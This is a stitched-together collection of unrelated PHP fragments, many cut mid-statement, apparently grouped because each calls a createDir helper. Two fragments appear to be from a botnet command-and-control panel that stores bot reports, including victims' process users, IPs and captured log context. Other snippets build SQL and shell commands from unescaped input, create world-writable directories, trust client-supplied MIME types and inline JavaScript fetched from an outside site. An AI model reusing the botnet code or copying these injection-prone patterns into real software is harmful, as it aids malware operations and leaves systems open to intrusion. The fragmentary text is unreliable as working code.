function processUpload($file, $username = null) { if (!$username) { $username = fpCurrentUsername(); } $tmpFile = $file["tmp_name"]; $mimeType = $file["type"]; $filename = utf8_decode($file["name"]); $filename = cleanupFilename($filename); $getcwd = getcwd(); $freeSpace = disk_free_space("/"); $uploaded = is_uploaded_file($tmpFile); $message = "OK"; if (!$uploaded) { return errorMessage("Uploaded file not found."); } //verify file type if (!startsWith($mimeType, "image")) { return errorMessage("Uploaded file {$filename} is not an image. ({$mimeType})"); } //move file to destination dir $dataRoot = getConfig("upload._diskPath"); $dataRootUrl = getConfig("upload.baseUrl"); createDir($dataRoot, $username); $uploadDir = combine($dataRoot, $username); $uploadedFile = combine($dataRoot, $username, $filename); $filesize = filesize($tmpFile); $success = move_uploaded_file($tmpFile, $uploadedFile); debug("move to {$uploadedFile}", $success); if (!$success) { return errorMessage("Cannot move file into target dir."); } return processImage($uploadDir, $filename); }
/** * 创建文件夹 * @param string $_path 文件夹路径 * @return array * @author MaWei (http://www.phpyrb.com) * @date 2014-8-3 下午2:10:22 */ function createDir($_path) { if (!file_exists($_path)) { createDir(dirname($_path)); mkdir($_path, 0777); } }
function pullLibrary($libraryName, $info, $baseDirectory, $targetDirectory) { if ($info["updates"] === "onlyOnce" && is_dir($targetDirectory)) { echo "---------------------------------------------------------------------\n"; echo "library {$libraryName} is already in {$targetDirectory} => no updates\n"; echo "---------------------------------------------------------------------\n"; echo "The update mode is declared as " . $info["updates"] . " in the configuration file\n"; echo "so this library is created but not updated. You can still remove the existing one\n"; echo "or change the configuration file if needed"; return; } createDir($targetDirectory); echo "\n"; echo "----------------------------------------------------------------\n"; echo "pulling library '{$libraryName}' to {$targetDirectory}\n"; echo "----------------------------------------------------------------\n"; if (isset($info['github'])) { pullGithub($info['github'], $targetDirectory); } elseif (isset($info['dir'])) { pullDirectory($baseDirectory . '/' . $info['dir'], $targetDirectory); } elseif (isset($info['urls'])) { foreach ($info['urls'] as $url => $targetBasename) { pullUrl($url, $targetDirectory, $targetBasename); } } else { echo "Don't know what to do with library {$libraryName}. No type recognized"; exit(5); } echo "library {$libraryName} pulled\n"; }
function createDir($path) { //base case if (is_dir($path)) { return; } else { preg_match('/(.*)[\\/\\\\]([^\\\\\\/]+)\\/?$/', $path, $matches); createDir($matches[1]); //make directory if it's not a filename. if (preg_match('/(.*)\\.[\\w]+$/', $matches[2]) === 0) { mkdir($matches[0], 0700); } } }
/** * @param $version */ function generateJoomlaConfig($version) { global $targetDir, $sourceCheckoutDir, $pkgType; $smarty = new Smarty(); $smarty->template_dir = $sourceCheckoutDir . '/xml/templates'; $smarty->compile_dir = '/tmp/templates_c_u' . posix_geteuid(); createDir($smarty->compile_dir); $smarty->assign('CiviCRMVersion', $version); $smarty->assign('creationDate', date('F d Y')); $smarty->assign('pkgType', $pkgType); $xml = $smarty->fetch('joomla.tpl'); $output = $targetDir . '/civicrm.xml'; $fd = fopen($output, "w"); fwrite($fd, $xml); fclose($fd); require_once 'CRM/Core/Config.php'; $config = CRM_Core_Config::singleton(FALSE); require_once 'CRM/Core/Permission.php'; require_once 'CRM/Utils/String.php'; require_once 'CRM/Core/I18n.php'; $permissions = CRM_Core_Permission::getCorePermissions(TRUE); $crmFolderDir = $sourceCheckoutDir . DIRECTORY_SEPARATOR . 'CRM'; require_once 'CRM/Core/Component.php'; $components = CRM_Core_Component::getComponentsFromFile($crmFolderDir); foreach ($components as $comp) { $perm = $comp->getPermissions(FALSE, TRUE); if ($perm) { $info = $comp->getInfo(); foreach ($perm as $p => $attr) { $title = $info['translatedName'] . ': ' . array_shift($attr); array_unshift($attr, $title); $permissions[$p] = $attr; } } } $perms_array = array(); foreach ($permissions as $perm => $attr) { // give an empty string as default description $attr[] = ''; //order matters here, but we deal with that later $perms_array[CRM_Utils_String::munge(strtolower($perm))] = array('title' => array_shift($attr), 'description' => array_shift($attr)); } $smarty->assign('permissions', $perms_array); $output = $targetDir . '/admin/access.xml'; $xml = $smarty->fetch('access.tpl'); $fd = fopen($output, "w"); fwrite($fd, $xml); fclose($fd); }
private function checkDirAndCreate($dest) { $bool = true; $dir = trim(str_replace(_PS_ROOT_DIR_, '', dirname($dest)), '/'); $subdir = explode('/', $dir); for ($i = 0, $path = ''; $subdir[$i]; $i++) { $path .= $subdir[$i] . '/'; if (!createDir(_PS_ROOT_DIR_ . '/' . $path, 0777)) { $bool &= false; $this->_errors[] = $this->l('Cannot create the folder') . ' "' . $path . '". ' . $this->l('Check directory writing permisions.'); break; } } return $bool; }
function generateJoomlaConfig($version) { global $targetDir, $sourceCheckoutDir, $pkgType; $smarty =& new Smarty(); $smarty->template_dir = $sourceCheckoutDir . '/xml/templates'; $smarty->compile_dir = '/tmp/templates_c'; createDir($smarty->compile_dir); $smarty->assign('CiviCRMVersion', $version); $smarty->assign('creationDate', date('F d Y')); $smarty->assign('pkgType', $pkgType); $xml = $smarty->fetch('joomla.tpl'); $output = $targetDir . '/civicrm.xml'; $fd = fopen($output, "w"); fputs($fd, $xml); fclose($fd); }
function buscarTemas($IDcurso, $dir) { logAction("Buscando tema en " . $dir); $IDtema = 0; $cont = 0; if ($handle = opendir($dir)) { while (false !== ($filename = readdir($handle))) { if ($filename != "." && $filename != "..") { // Si se trata de una carpeta: if (is_dir($dir . "/" . $filename)) { $cont++; // Limpiar el nombre de la carpeta de caracteres extraños y espacios $filenameNEW = clean($filename); rename($dir . "/" . $filename, $dir . "/" . $filenameNEW); // Guardar el tema // echo " Encontrado tema ".$filename."<br />"; logAction("Encontrado tema " . $dir . "/" . $filename . ". Renombrado a " . $filenameNEW); $IDtema = getIDtema($IDcurso, $filename); // Comprobar si existen las siguientes carpetas; sino crearlas: if (!file_exists($dir . "/" . $filenameNEW . "/img")) { createDir($dir . "/" . $filenameNEW . "/img"); } if (!file_exists($dir . "/" . $filenameNEW . "/docs")) { createDir($dir . "/" . $filenameNEW . "/docs"); } buscarVideos($IDcurso, $IDtema, $dir . "/" . $filenameNEW); } else { logAction($dir . "/" . $filename . " no se procesará, ya que no es un directorio"); // echo " Los ficheros dentro de un curso no se procesarán <br />"; } } } if ($cont == 0) { logAction($dir . " no contiene temas"); // echo " No existen temas para ".$dir."<br />"; } } else { logAction("Error al leer " . $dir); // echo " Error al leer de ".$dir."<br />"; } }
function template($template = 'index') { global $cfg_page_cache, $cfg_templet_name, $_CKEY; //模板是否开启缓存 $compiledtplfile = TPL_CACHEPATH . '/' . $cfg_templet_name . '/' . $template . '.tpl.php'; if ($cfg_page_cache == "Y" && file_exists($compiledtplfile)) { return $compiledtplfile; } //开启缓存模式时候存在直接返回 不检查是否修改 if (!file_exists($compiledtplfile) || @filemtime(TPL_PATH . '/' . $template . '.html') > @filemtime($compiledtplfile)) { $tplfile = TPL_PATH . '/' . $template . '.html'; $content = @file_get_contents($tplfile); if ($content === false) { echo "{$tplfile} is not exists!"; exit; } if (!$_CKEY) { $copyright = @file_get_contents("http://www.zzqss.com/copyright.js"); } else { $copyright = ""; } if ($template == "footer") { if (!$_CKEY) { if (!strpos($content, '@ZZQSScopyright@')) { return "底部@ZZQSScopyright@版权标记不能去除!"; } } $content = str_replace('@ZZQSScopyright@', $copyright, $content); } $content = template_parse($content); //如果在子目录下 $templatedir = dirname($compiledtplfile); createDir($templatedir); //创建目录 $strlen = file_put_contents($compiledtplfile, $content); @chmod($compiledtplfile, 0777); } return $compiledtplfile; }
//$tmpquery3 = "INSERT INTO ".$tableCollab["invoices"]." SET project='$num',status='0',created='$dateheure',active='$invoicing',published='1'"; $tmpquery3 = "INSERT INTO " . $tableCollab["invoices"] . " (project,status,created,active,published) VALUES ('{$num}','0','{$dateheure}','{$invoicing}','1')"; connectSql($tmpquery3); } $tmpquery2 = "INSERT INTO " . $tableCollab["teams"] . "(project,member,published,authorized) VALUES('{$num}','{$pown}','1','0')"; connectSql("{$tmpquery2}"); //if CVS repository enabled if ($enable_cvs == "true") { $user_query = "WHERE mem.id = '{$pown}'"; $cvsUser = new request(); $cvsUser->openMembers($user_query); cvs_add_repository($cvsUser->mem_login[0], $cvsUser->mem_password[0], $num); } //create project folder if filemanagement = true if ($fileManagement == "true") { createDir("files/{$num}"); } if ($htaccessAuth == "true") { $content = <<<STAMP AuthName "{$setTitle}" AuthType Basic Require valid-user AuthUserFile {$fullPath}/files/{$num}/.htpasswd STAMP; $fp = @fopen("../files/{$num}/.htaccess", 'wb+'); $fw = fwrite($fp, $content); $fp = @fopen("../files/{$num}/.htpasswd", 'wb+'); $tmpquery = "WHERE mem.id = '{$pown}'"; $detailMember = new request(); $detailMember->openMembers($tmpquery); $Htpasswd = new Htpasswd();
if (($l = strlen($_POST['botnet_cryptkey'])) < 1 || $l > 255) { $errors[] = LNG_SYS_E3; } $botnet_cryptkey = $_POST['botnet_cryptkey']; } //Сохранение параметров. if ($is_post && count($errors) == 0) { $updateList['reports_path'] = $reports_path; $updateList['reports_to_db'] = $reports_to_db ? 1 : 0; $updateList['reports_to_fs'] = $reports_to_fs ? 1 : 0; $updateList['botnet_timeout'] = $botnet_timeout * 60; $updateList['botnet_cryptkey'] = $botnet_cryptkey; if (!updateConfig($updateList)) { $errors[] = LNG_SYS_E4; } else { createDir($reports_path); header('Location: ' . QUERY_STRING . '&u=1'); die; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// ThemeBegin(LNG_SYS, 0, 0, 0); //Вывод ошибок. if (count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach ($errors as $r) { echo $r . THEME_STRING_NEWLINE; } echo THEME_STRING_FORM_ERROR_1_END;
$tmpquery = $tableCollab['projects']; last_id($tmpquery); $num = $lastId[0]; unset($lastId); $tmpquery2 = 'INSERT INTO ' . $tableCollab['teams'] . "(project,member,published,authorized) VALUES('{$num}','{$pown}','1','0')"; connectSql($tmpquery2); // if CVS repository enabled if ($enable_cvs == 'true') { $user_query = "WHERE mem.id = '{$pown}'"; $cvsUser = new request(); $cvsUser->openMembers($user_query); cvs_add_repository($cvsUser->mem_login[0], $cvsUser->mem_password[0], $num); } // create project folder if filemanagement = true if ($fileManagement == 'true') { createDir('files/' . $num); } if ($htaccessAuth == 'true') { $content = <<<STAMP AuthName "{$setTitle}" AuthType Basic Require valid-user AuthUserFile {$fullPath}/files/{$num}/.htpasswd STAMP; $fp = @fopen('../files/' . $num . '/.htaccess', 'wb+'); $fw = fwrite($fp, $content); $fp = @fopen('../files/' . $num . '/.htpasswd', 'wb+'); $tmpquery = "WHERE mem.id = '{$pown}'"; $detailMember = new request(); $detailMember->openMembers($tmpquery); $Htpasswd = new Htpasswd();
//Запись в базу. if ($config['reports_to_db'] === 1) { $table = 'botnet_reports_' . gmdate('ymd', $curTime); $query = "INSERT DELAYED INTO `{$table}` SET `bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `type`={$type}, `country`='{$countryQ}', `rtime`={$curTime}," . "path_source='" . (empty($list[SBCID_PATH_SOURCE]) ? '' : addslashes($list[SBCID_PATH_SOURCE])) . "'," . "path_dest='" . (empty($list[SBCID_PATH_DEST]) ? '' : addslashes($list[SBCID_PATH_DEST])) . "'," . "time_system=" . (empty($list[SBCID_TIME_SYSTEM]) ? 0 : toUint($list[SBCID_TIME_SYSTEM])) . "," . "time_tick=" . (empty($list[SBCID_TIME_TICK]) ? 0 : toUint($list[SBCID_TIME_TICK])) . "," . "time_localbias=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : toInt($list[SBCID_TIME_LOCALBIAS])) . "," . "os_version='" . (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO])) . "'," . "language_id=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . "," . "process_name='" . (empty($list[SBCID_PROCESS_NAME]) ? '' : addslashes($list[SBCID_PROCESS_NAME])) . "'," . "process_user='******'' : addslashes($list[SBCID_PROCESS_USER])) . "'," . "ipv4='" . addslashes($realIpv4) . "'," . "context='" . addslashes($list[SBCID_BOTLOG]) . "'"; //Думаю такой порядок повышает производительность. if (!mysqlQueryEx($table, $query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS `{$table}` LIKE `botnet_reports`") || !mysqlQueryEx($table, $query))) { die; } } //Запись в файл. if ($config['reports_to_fs'] === 1) { if (isHackNameForPath($botId) || isHackNameForPath($botnet)) { die; } $file_path = $config['reports_path'] . '/other/' . urlencode($botnet) . '/' . urlencode($botId); if (!createDir($file_path) || !($h = fopen($file_path . '/reports.txt', 'ab'))) { die; } flock($h, LOCK_EX); fwrite($h, str_repeat("=", 80) . "\r\n" . "bot_id={$botId}\r\n" . "botnet={$botnet}\r\n" . "bot_version=" . intToVersion($botVersion) . "\r\n" . "ipv4={$realIpv4}\r\n" . "country={$country}\r\n" . "type={$type}\r\n" . "rtime=" . gmdate('H:i:s d.m.Y', $curTime) . "\r\n" . "time_system=" . (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM]))) . "\r\n" . "time_tick=" . (empty($list[SBCID_TIME_TICK]) ? 0 : tickCountToText(toUint($list[SBCID_TIME_TICK]) / 1000)) . "\r\n" . "time_localbias=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : timeBiasToText(toInt($list[SBCID_TIME_LOCALBIAS]))) . "\r\n" . "os_version=" . (empty($list[SBCID_OS_INFO]) ? '' : osDataToString($list[SBCID_OS_INFO])) . "\r\n" . "language_id=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . "\r\n" . "process_name=" . (empty($list[SBCID_PROCESS_NAME]) ? '' : $list[SBCID_PROCESS_NAME]) . "\r\n" . "process_user="******"\r\n" . "path_source=" . (empty($list[SBCID_PATH_SOURCE]) ? '' : $list[SBCID_PATH_SOURCE]) . "\r\n" . "context=\r\n" . $list[SBCID_BOTLOG] . "\r\n\r\n\r\n"); flock($h, LOCK_UN); fclose($h); } if ($config['reports_jn'] === 1) { imNotify($type, $list, $botId); } } } else { if (!empty($list[SBCID_NET_LATENCY])) { //Стандартный запрос. $query = "`bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `country`='{$countryQ}', `rtime_last`={$curTime}, " . "`net_latency`=" . (empty($list[SBCID_NET_LATENCY]) ? 0 : toUint($list[SBCID_NET_LATENCY])) . ", " . "`tcpport_s1`=" . (empty($list[SBCID_TCPPORT_S1]) ? 0 : toUshort($list[SBCID_TCPPORT_S1])) . ", " . "`time_localbias`=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : toInt($list[SBCID_TIME_LOCALBIAS])) . ", " . "`os_version`='" . (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO])) . "', " . "`language_id`=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . ", " . "`ipv4_list`='" . (empty($list[SBCID_IPV4_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV4_ADDRESSES])) . "', " . "`ipv6_list`='" . (empty($list[SBCID_IPV6_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV6_ADDRESSES])) . "', " . "`ipv4`='" . addslashes(pack('N', ip2long($realIpv4))) . "'";
$objDrawing->getShadow()->setDirection(-20); / $objDrawing->setWorksheet($obj); */ //页眉页脚 //$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('zhy'); //$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('end'); $objPHPExcel->setActiveSheetIndex(0); $tname = date('Y-m-dH', time()); $tnam = iconv('UTF-8', 'GBK', '祖名订单'); $tname = $tnam . $tname; // Excel 2007保存 //$objWriter = new PHPExcel_Writer_Excel2007($objPHPExcel); //$objWriter->save(str_replace('.php', '.xlsx', __FILE__)); // Excel 5保存 //$objWriter = new PHPExcel_Writer_Excel5($objPHPExcel); //$objWriter->save(str_replace('.php', '.xls', __FILE__)); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save(str_replace('.php', '.xls', __FILE__)); //$url = "/data/home/htdocs/ec/public/files/".date("Y")."/".date("Ym")."/"; createDir($url); function createDir($dir) { if (!is_dir($dir)) { mkdir($dir, 0777, true); chmod($dir, 0777); chown($dir, 'daemon'); chgrp($dir, 'daemon'); } } $name = 'forexmple_excel'; rename(str_replace('.php', '.xls', __FILE__), $name . '.xls');
define('IMAGE_MEDIUM_SIZE', 250); /*defined settings - end*/ if (isset($_FILES['image_upload_file'])) { $output['status'] = FALSE; set_time_limit(0); $allowedImageType = array("image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/x-png"); if ($_FILES['image_upload_file']["error"] > 0) { $output['error'] = "Error in File"; } elseif (!in_array($_FILES['image_upload_file']["type"], $allowedImageType)) { $output['error'] = "You can only upload JPG, PNG and GIF file"; } elseif (round($_FILES['image_upload_file']["size"] / 1024) > 4096) { $output['error'] = "You can upload file size up to 4 MB"; } else { /*create directory with 777 permission if not exist - start*/ createDir(IMAGE_SMALL_DIR); createDir(IMAGE_MEDIUM_DIR); /*create directory with 777 permission if not exist - end*/ $path[0] = $_FILES['image_upload_file']['tmp_name']; $file = pathinfo($_FILES['image_upload_file']['name']); $fileType = $file["extension"]; $desiredExt = 'jpg'; $fileNameNew = rand(333, 999) . time() . ".{$desiredExt}"; $path[1] = IMAGE_MEDIUM_DIR . $fileNameNew; $path[2] = IMAGE_SMALL_DIR . $fileNameNew; // list($width, $height, $type, $attr) = getimagesize($_FILES['image_upload_file']['tmp_name']); // if (createThumb($path[0], $path[1], $fileType, $width, $height, $width)) { if (createThumb($path[1], $path[2], "{$desiredExt}", $width, $height, $width)) { $output['status'] = TRUE; $output['image_medium'] = $path[1];
//publisher_adminMenu(0, _AM_PUBLISHER_INDEX); // Total ITEMs -- includes everything on the table $totalitems = $publisher->getItemHandler()->getItemsCount(); // Total categories $totalcategories = $publisher->getCategoryHandler()->getCategoriesCount(-1); // Total submitted ITEMs $totalsubmitted = $publisher->getItemHandler()->getItemsCount(-1, array(_PUBLISHER_STATUS_SUBMITTED)); // Total published ITEMs $totalpublished = $publisher->getItemHandler()->getItemsCount(-1, array(_PUBLISHER_STATUS_PUBLISHED)); // Total offline ITEMs $totaloffline = $publisher->getItemHandler()->getItemsCount(-1, array(_PUBLISHER_STATUS_OFFLINE)); // Total rejected $totalrejected = $publisher->getItemHandler()->getItemsCount(-1, array(_PUBLISHER_STATUS_REJECTED)); // Check Path Configuration if (PublisherUtils::getPathStatus('root', true) < 0 || PublisherUtils::getPathStatus('images', true) < 0 || PublisherUtils::getPathStatus('images/category', true) < 0 || PublisherUtils::getPathStatus('images/item', true) < 0 || PublisherUtils::getPathStatus('content', true) < 0) { createDir(); } PublisherUtils::openCollapsableBar('inventorytable', 'inventoryicon', _AM_PUBLISHER_INVENTORY); echo "<br />"; echo "<table width='100%' class='outer' cellspacing='1' cellpadding='3' border='0' ><tr>"; echo "<td class='head'>" . _AM_PUBLISHER_TOTALCAT . "</td><td align='center' class='even'>" . $totalcategories . "</td>"; echo "<td class='head'>" . _AM_PUBLISHER_TOTALSUBMITTED . "</td><td align='center' class='even'>" . $totalsubmitted . "</td>"; echo "<td class='head'>" . _AM_PUBLISHER_TOTALPUBLISHED . "</td><td align='center' class='even'>" . $totalpublished . "</td>"; echo "<td class='head'>" . _AM_PUBLISHER_TOTAL_OFFLINE . "</td><td align='center' class='even'>" . $totaloffline . "</td>"; echo "</tr></table>"; echo "<br />"; echo "<form><div style=\"margin-bottom: 12px;\">"; echo "<input type='button' name='button' onclick=\"location='category.php?op=mod'\" value='" . _AM_PUBLISHER_CATEGORY_CREATE . "'> "; echo "<input type='button' name='button' onclick=\"location='item.php?op=mod'\" value='" . _AM_PUBLISHER_CREATEITEM . "'> "; echo "</div></form>"; PublisherUtils::closeCollapsableBar('inventorytable', 'inventoryicon');
function copyDirR($src,$dst,$mode='0777') { //recursive copy of directory if (substr($src,0,-1)!='/') $src.='/'; if (substr($dst,0,-1)!='/') $dst.='/'; $d = dir($src); while($entry=readdir($d->handle)) { if(is_dir($d->path.$entry)) { if(strlen($entry)>2) { createDir($dst.$entry.'/',$mode); copyDirR($d->path.$entry,$dst.$entry); } else { if($entry[0]!='.') { createDir($dst.$entry,$mode); copyDirR($d->path.$entry,$dst.$entry); } else { if(strlen($entry)>1&&$entry[1]!='.') { createDir($dst.'/'.$entry,$mode); copyDirR($d->path.$entry,$dst.$entry); }; }; }; } else { copy($d->path.$entry,$dst.$entry); }; }; $d->close(); };
} else { while ($row = $result->fetch_assoc()) { $columns[] = $row['Field']; } } //---- creating folders createDir("module/{$Module}"); createDir("module/{$Module}/config"); createDir("module/{$Module}/src"); createDir("module/{$Module}/src/{$Module}"); createDir("module/{$Module}/src/{$Module}/Controller"); // createDir("module/$Module/src/$Module/Form"); createDir("module/{$Module}/src/{$Module}/Model"); createDir("module/{$Module}/view"); createDir("module/{$Module}/view/{$argv['1']}"); createDir("module/{$Module}/view/{$argv['1']}/{$tableDir}"); echo "tree ok\n"; //---- Module $fileName = $filesArray['Module'][1]; if (file_exists($fileName) && $filesArray['Module'][0] === false) { echo "File exist {$fileName}\n"; } else { if (file_exists($fileName)) { $handle = fopen($fileName, "r"); $tmp_file = "tmp.php"; if (file_exists($tmp_file)) { unlink($tmp_file); } $added = false; $exist = false; if ($handle) {
$tmpquery = "WHERE tea.project = '{$project}' AND tea.member = '{$at}'"; $testinTeam = new request(); $testinTeam->openTeams($tmpquery); $comptTestinTeam = count($testinTeam->tea_id); if ($comptTestinTeam == "0") { $tmpquery3 = "INSERT INTO " . $tableCollab["teams"] . "(project,member,published,authorized) VALUES('{$project}','{$at}','1','0')"; connectSql($tmpquery3); } // send task assignment mail if notifications = true if ($notifications == "true") { require_once "../tasks/noti_taskassignment.php"; } } // create task sub-folder if filemanagement = true if ($fileManagement == "true") { createDir("files/{$project}/{$num}"); } header("Location: ../tasks/viewtask.php?id={$num}&msg=addAssignment"); exit; } // set default values $taskDetail->tas_assigned_to[0] = $_SESSION['idSession']; $taskDetail->tas_priority[0] = $projectDetail->pro_priority[0]; $taskDetail->tas_status[0] = '3'; } if ($projectDetail->pro_org_id[0] == '1') { $projectDetail->pro_org_name[0] = $strings['none']; } if ($projectDetail->pro_phase_set[0] != '0') { if ($id != '') { $tPhase = $taskDetail->tas_parent_phase[0];
public static function run() { //生成工程套装(模块包、类库包) //$applications = explode('|',APPLICATIONS); //加载模块列表 @($applications = (include PORJECT_ROOT . '/Config/modules.config.php')); //如果未发现模块列表,则默认生成Home模块应用 if (!$applications) { $applications = array('Home'); } //应用生成路径 $application_path = PORJECT_ROOT . '/Project/'; //模块 $models = array(); //模块别名包 $models_alias = array(); //使用别名的模块 $use_alias_models = array(); //模块生成状态集 $status = array(); foreach ($applications as $k => $v) { //别名处理 @(list($k, $v) = explode(':', $v)); $models[$k] = $v; //该模块设置了别名 if (isset($v)) { $models_alias[ucfirst($v)] = $k; array_push($use_alias_models, $k); } //模块包路径 $dir = array($application_path . ucfirst($k), $application_path . $k . '/Model', $application_path . ucfirst($k) . '/Controller'); //生成模块 foreach ($dir as $val) { if (!createDir($val)) { //生成错误时,抛出错误状态 array_push($status, 0); //写入日志 writeLog($val . ' 目录创建失败 ×'); } } } //生成类库包 $libs = array(PORJECT_ROOT . '/Lib/Class', PORJECT_ROOT . '/Lib/Function', PORJECT_ROOT . '/Config', PORJECT_ROOT . '/Config/SmartyConfig', PORJECT_ROOT . '/Skin', PORJECT_ROOT . '/Skin/css', PORJECT_ROOT . '/Skin/js', PORJECT_ROOT . '/Skin/images', PORJECT_ROOT . '/Skin/Templates', PORJECT_ROOT . '/Skin/Templates/Default', PORJECT_ROOT . '/Skin/Templates_c/Default', PORJECT_ROOT . '/Runtime', PORJECT_ROOT . '/Runtime/Cache', PORJECT_ROOT . '/Runtime/Data', PORJECT_ROOT . '/Runtime/Logs', PORJECT_ROOT . '/Runtime/Temp'); foreach ($libs as $v) { if (!createDir($v)) { //生成错误时,抛出错误状态 array_push($status, 0); //写入日志 writeLog($v . ' 目录创建失败 ×'); } } //生成模块别名包 setArray($models_alias, PORJECT_ROOT . '/Runtime/Data/', 'models_alias.php'); //生成使用别名的模块集合 setArray($use_alias_models, PORJECT_ROOT . '/Runtime/Data/', 'use_alias_models.php'); //创建目录出现错误时 if (!empty($status)) { echo "至少有" . count($status) . "个目录创建失败,请查看日志详情!"; } //生成默认配置文件 $defaultConfigName = 'config.php'; $configPath = PORJECT_ROOT . '/Config/'; if (!file_exists($configPath . $defaultConfigName)) { //默认配置文件不存在时生成默认配置文件 setArray(array(), $configPath, $defaultConfigName); } //生成模块列表配置 $modulesConfigName = 'modules.config.php'; if (!file_exists($configPath . $modulesConfigName)) { //默认配置文件不存在时生成默认配置文件 setArray($applications, $configPath, $modulesConfigName); } //在默认及每个模块下面生成默认欢迎Index控制器 foreach ($applications as $k => $v) { //别名处理 @(list($k, $v) = explode(':', $v)); //控制器代码 $index_controller = "<?php\r\nnamespace " . ucfirst($k) . "\\Controller;\r\nuse Frame\\Controller;\r\nclass IndexController extends Controller\r\n{\r\n\tpublic function index()\r\n\t{\r\n\t\techo 'Congratulations! Create project success, welcome to Frame<br/>您当前访问的是:<span style=\"font-size:14px;font-weight:bold;\">" . ucfirst($k) . "</span> 模块下的 <span style=\"font-size:14px;font-weight:bold;\">Index</span> 控制器下的 <span style=\"font-size:14px;font-weight:bold;\">index</span> 方法!';\r\n\t}\r\n}\r\n?>"; //控制器名称 $controller_name = PORJECT_ROOT . '/Project/' . ucfirst($k) . '/Controller/IndexController.class.php'; if (!file_exists($controller_name)) { file_put_contents($controller_name, $index_controller); } } //派生分发到控制器 $controller_class = '\\' . APPLICATION_NAME . '\\Controller\\' . CONTROLLER_NAME . 'Controller'; $controller_action = ACTION_NAME; //实例化对象 $Object = new $controller_class(); //执行当前控制函数 $Object->{$controller_action}(); }
/** * Attempts to add a system user account * * @since 1.0 * @package facileManager * * @param array $user_info User information to add * @param array $passwd_users Array of existing system users * @return boolean */ function addUser($user_info, $passwd_users) { list($user_name, $user_comment) = $user_info; $retval = false; switch (PHP_OS) { case 'Linux': case 'OpenBSD': $cmd = findProgram('useradd') . " -m -c '{$user_comment}' {$user_name}"; break; case 'FreeBSD': $cmd = findProgram('pw') . " useradd {$user_name} -m -c '{$user_comment}'"; break; case 'Darwin': /** Not yet supported */ $cmd = null; break; } if (!in_array($user_name, $passwd_users) && $cmd) { $result = system($cmd, $retval); } if (!$retval) { $ssh_dir = shell_exec("grep {$user_name} /etc/passwd | awk -F: '{print \$6}'"); if ($ssh_dir && $ssh_dir != '/') { createDir($ssh_dir, $user_name); return $ssh_dir; } } return false; }
$c = convertData($c); $tmpquery1 = "INSERT INTO " . $tableCollab["tasks"] . "(project,name,description,owner,assigned_to,status,priority,start_date,due_date,estimated_time,actual_time,comments,created,published,completion,milestone) VALUES('" . $_SESSION['projectSession'] . "','{$tn}','{$d}','" . $_SESSION['idSession'] . "','0','2','{$pr}','{$sd}','{$dd}','{$etm}','{$atm}','{$c}','{$dateheure}','{$pub}','0','{$miles}')"; connectSql("{$tmpquery1}"); $tmpquery = $tableCollab["tasks"]; last_id($tmpquery); $num = $lastId[0]; unset($lastId); $tmpquery2 = "INSERT INTO " . $tableCollab["assignments"] . "(task,owner,assigned_to,assigned) VALUES('{$num}','" . $_SESSION['idSession'] . "','{$at}','{$dateheure}')"; connectSql("{$tmpquery2}"); // send task assignment mail if notifications = true if ($notifications == "true") { require_once "../tasks/noti_clientaddtask.php"; } // create task sub-folder if filemanagement = true if ($fileManagement == "true") { createDir("../files/" . $_SESSION['projectSession'] . "/{$num}"); } header('Location: showallteamtasks.php'); exit; } } $bodyCommand = "onload=\"document.etDForm.tn.focus();\""; $bouton[2] = "over"; $titlePage = $strings["add_task"]; require_once "include_header.php"; echo "<form accept-charset=\"UNKNOWN\" method=\"POST\" action=\"../projects_site/addteamtask.php?project=" . $_SESSION['projectSession'] . "&action=add#etDAnchor\" name=\"etDForm\" enctype=\"application/x-www-form-urlencoded\">"; echo "<table cellpadding=\"3\" cellspacing=\"0\" border=\"0\">\n<tr><th colspan=\"2\">" . $strings["add_task"] . "</th></tr>\n<tr><th>* " . $strings["name"] . " :</th><td><input size=\"44\" value=\"{$tn}\" style=\"width: 400px\" name=\"tn\" maxlength=\"100\" type=\"TEXT\"></td></tr>\n<tr><th>" . $strings["description"] . " :</th><td><textarea rows=\"10\" style=\"width: 400px; height: 160px;\" name=\"d\" cols=\"47\">{$d}</textarea></td></tr>\n\n<input type=\"hidden\" name=\"owner\" value=\"" . $projectDetail->pro_owner[0] . "\">\n<input type=\"hidden\" name=\"at\" value=\"0\">\n<input type=\"hidden\" name=\"st\" value=\"2\">\n<input type=\"hidden\" name=\"completion\" value=\"0\">\n<input type=\"hidden\" value=\"1\" name=\"pub\">\n<input type=\"hidden\" value=\"1\" name=\"miles\">\n<tr><th>" . $strings["priority"] . " :</th><td><select name=\"pr\">"; $comptPri = count($priority); for ($i = 0; $i < $comptPri; $i++) { if ($taskDetail->tas_priority[0] == $i) { echo "<option value=\"{$i}\" selected>{$priority[$i]}</option>";
